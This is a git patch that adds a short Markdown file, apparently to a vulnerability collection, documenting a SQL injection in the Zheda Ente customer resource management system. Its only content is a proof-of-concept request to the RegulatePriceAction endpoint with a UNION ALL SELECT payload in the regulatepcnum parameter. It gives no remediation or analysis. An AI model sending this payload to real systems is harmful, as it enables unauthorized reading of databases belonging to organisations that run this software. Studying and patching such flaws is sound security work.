From f31be51fa538f070889c87930e1325395f285eb1 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Sun, 7 Apr 2024 18:31:01 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E6=B5=99=E5=A4=A7=E6=81=A9=E7=89=B9?= =?UTF-8?q?=E5=AE=A2=E6=88=B7=E8=B5=84=E6=BA=90=E7=AE=A1=E7=90=86=E7=B3=BB?= =?UTF-8?q?=E7=BB=9F-RegulatePriceAction=E5=AD=98=E5=9C=A8SQL=E6=B3=A8?= =?UTF-8?q?=E5=85=A5.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 浙大恩特客户资源管理系统-RegulatePriceAction存在SQL注入.md | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 浙大恩特客户资源管理系统-RegulatePriceAction存在SQL注入.md diff --git a/浙大恩特客户资源管理系统-RegulatePriceAction存在SQL注入.md b/浙大恩特客户资源管理系统-RegulatePriceAction存在SQL注入.md new file mode 100644 index 0000000..fa583eb --- /dev/null +++ b/浙大恩特客户资源管理系统-RegulatePriceAction存在SQL注入.md @@ -0,0 +1,7 @@ +## 浙大恩特客户资源管理系统-RegulatePriceAction存在SQL注入 + +## poc +``` +/entsoft/RegulatePriceAction.entsoft;.js?method=getRegulatePricedlist®ulatepcnum=1'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,111*111--+aaaa + +```